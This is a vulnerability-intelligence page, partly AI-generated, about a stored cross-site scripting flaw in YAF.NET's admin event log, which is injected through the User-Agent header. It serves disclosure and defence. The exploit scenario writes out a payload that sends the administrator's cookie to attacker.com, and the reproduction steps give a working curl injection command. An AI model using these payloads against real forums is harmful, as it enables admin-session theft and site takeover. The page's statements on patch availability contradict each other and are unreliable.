YAF.NET CVE-2026-43938
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft malicious User-Agent header
-
DeliverySend unauthenticated request to /api/Attachments/GetAttachment
-
ExploitTrigger server exception
-
InstallPersist payload in EventLog.Description
-
C2Administrator views /Admin/EventLog
-
ExecuteExecute JavaScript in admin session
-
ImpactExfiltrate session token or create backdoor account
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated exploitation against default YAF.NET configurations with no special deployment prerequisites. Attack requires: (1) The target forum installation exposes the /api/Attachments/GetAttachment endpoint or any other endpoint that triggers exception logging when provided invalid parameters; (2) The admin event log interface (/Admin/EventLog) is enabled and accessible to at least one administrator account; (3) An administrator with sufficient privileges visits the event log page after payload injection-this is routine operational behavior, not a rare condition, as admins typically review logs when server errors occur. Attack complexity is low (AC:L in CVSS) because the malicious request requires no special timing, CSRF tokens, or prior reconnaissance beyond identifying the forum URL. The UI:R metric indicates required user interaction (admin viewing the log), but this interaction is a normal administrative task, not a security control. No authentication (PR:N) or special User-Agent validation settings are required on the target. The vulnerability is exploitable on all platforms where YAF.NET runs (Windows/Linux with ASP.NET Core) and across all modern browsers that execute JavaScript in the admin's session. |
| Impact | Real-world risk is high despite the UI:R constraint in the CVSS vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N, score 8.1). The attack vector is network-accessible with low complexity and no authentication (PR:N), making the initial injection trivial for any internet-facing installation. The 'user interaction required' metric refers to an administrator viewing the event log-a routine operational task in forum management, especially after server errors appear. The lack of scope change (S:U) understates the privilege escalation: an anonymous attacker gains admin-level capabilities, effectively achieving full forum takeover. No EPSS score or CISA KEV status is provided in the input data, preventing empirical exploitation-probability assessment; however, the existence of a detailed, reproducible proof-of-concept with exact curl command syntax significantly lowers the bar for real-world exploitation. The SSVC framework would classify this as exploitation-ready (POC public), automatable (single HTTP request), with high technical impact (admin session compromise). The combination of no authentication requirement, public exploit code, and high-value target (admin sessions) elevates this above typical stored XSS issues. Risk is further amplified for internet-exposed forums with active administrative monitoring. |
| Exploit ScenarioDerived | An anonymous attacker crafts an HTTP request to http://target-forum.com/api/Attachments/GetAttachment?attachmentId=2147483647 with a malicious User-Agent header containing JavaScript payload such as '<img src=x onerror=fetch("https://attacker.com/steal?cookie="+document.cookie)>'. The server's exception handler logs this crafted header to the database. Hours or days later, a forum administrator opens the Admin Event Log page during routine troubleshooting. The stored payload executes in the admin's authenticated browser context, exfiltrating their session cookie to the attacker's server. The attacker uses the stolen session to create a new admin account, modify forum settings, or dump the user database through admin-only API endpoints. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 05, 2026
Remote unauthenticated attackers can execute JavaScript in administrator sessions of YAF.NET forum software (versions ≤3.2.11 and 4.0.0-beta01 through 4.0.4) by injecting malicious User-Agent headers via any endpoint that triggers exception logging, notably /api/Attachments/GetAttachment. The stored XSS payload fires when administrators view the Event Log admin panel, enabling full forum takeover through admin-session hijacking. A working proof-of-concept exists requiring only a single anonymous HTTP request. EPSS and KEV data not available; CVSS 8.1 (High) reflects network vector, low complexity, and no authentication requirement, though the UI:R metric indicates the admin must visit the log page for execution.
RemediationAI
Upgrade immediately to YAF.NET version 3.2.12 (for 3.x installations) or version 4.0.5 (for 4.x installations), both released by the vendor to address this issue. Download from the official GitHub releases at https://github.com/YAFNET/YAFNET/releases/tag/v3.2.12 and https://github.com/YAFNET/YAFNET/releases/tag/v4.0.5. The patches implement proper HTML encoding of User-Agent data before rendering in the admin event log interface. If immediate patching is not feasible, implement the following compensating controls with noted trade-offs: (1) Block public access to /api/Attachments/GetAttachment and other exception-prone API endpoints via firewall or reverse-proxy rules (reduces attack surface but may break legitimate attachment downloads for unauthenticated users); (2) Configure web application firewall (WAF) rules to reject requests with User-Agent headers containing HTML/script syntax such as angle brackets or 'onerror' attributes (may cause false positives with legitimate browser telemetry or security scanners); (3) Restrict access to /Admin/EventLog to IP allowlists or VPN-only access (mitigates payload delivery but does not remove the stored XSS; administrators accessing from untrusted networks remain vulnerable). Note that database sanitization alone is insufficient-the payload persists in EventLog.Description and requires patch deployment plus manual deletion of malicious log entries.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in nuget
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
YAF.NET is an open-source ASP.NET Core forum platform distributed as NuGet packages (yafnet.core). The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation) in the error-logging pipeline. The DbLogger component (YAFNET.Core/Logger/DbLogger.cs) serializes the HTTP User-Agent header into JSON via JsonConvert and persists it in the EventLog.Description database column during exception handling. The admin interface (EventLog.cshtml.cs) later deserializes this JSON in FormatStackTrace() and interpolates the UserAgent field directly into an HTML string without encoding, which is then rendered via Razor's @Html.Raw() directive-a known dangerous sink that bypasses automatic HTML encoding. This creates a second-order XSS where the malicious payload crosses trust boundaries: from an unauthenticated public endpoint into a trusted database column, then into a privileged admin context. The /api/Attachments/GetAttachment endpoint with an out-of-range attachmentId reliably triggers an exception, providing a deterministic injection point.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component - often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.
Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.
Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.
Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.
Steps to Reproduce:
- From an unauthenticated session (no cookies, no tokens), send the following request with a malicious
User-Agentheader: curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"- Confirm the server returns an error response and that a row has been written to
dbo.EventLogcontaining the attacker-controlledUserAgentvalue inside the JSONDescription. - As an administrator (e.g.,
Superuser), navigate to/Admin/EventLog. - Observe that the rendered page contains the raw
<img src=x onerror="alert('XSS')">element inside the event's badge block, and that theonerrorhandler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.
<img width="1193" height="809" alt="image" src="https://github.com/user-attachments/assets/70c59ef2-8d31-435b-9a9d-338f753e58f8" />
Executive ViewAI
CVE-2026-43938 is a high-severity stored cross-site scripting (XSS) vulnerability in YAF.NET forum software (versions 3.2.11 and earlier, 4.0.0-4.0.4) that allows unauthenticated attackers to execute arbitrary JavaScript in administrator browser sessions by injecting malicious code through exception logging. Successful exploitation enables complete forum compromise, including credential theft and unauthorized administrative access, requiring only that an administrator review the Event Log-a routine administrative task. Organizations running affected YAF.NET instances face immediate risk of data breach and loss of platform control.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable or restrict access to /api/Attachments/GetAttachment endpoint via Web Application Firewall rules; (2) Implement strict Content Security Policy prohibiting inline script execution; (3) Restrict administrator Event Log access to trusted IP ranges only; (4) Deploy real-time User-Agent header validation to reject payloads containing script tags or encoding patterns; (5) Monitor for suspicious exception log entries with encoded JavaScript; (6) Force re-authentication for all administrators before Event Log access. Confirm patch availability directly with YAF.NET maintainers-remediation urgency is critical pending vendor release.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
GHSA-33gv-fc78-qgf5
NVD
CVE.org
EPSS
Exploit-DB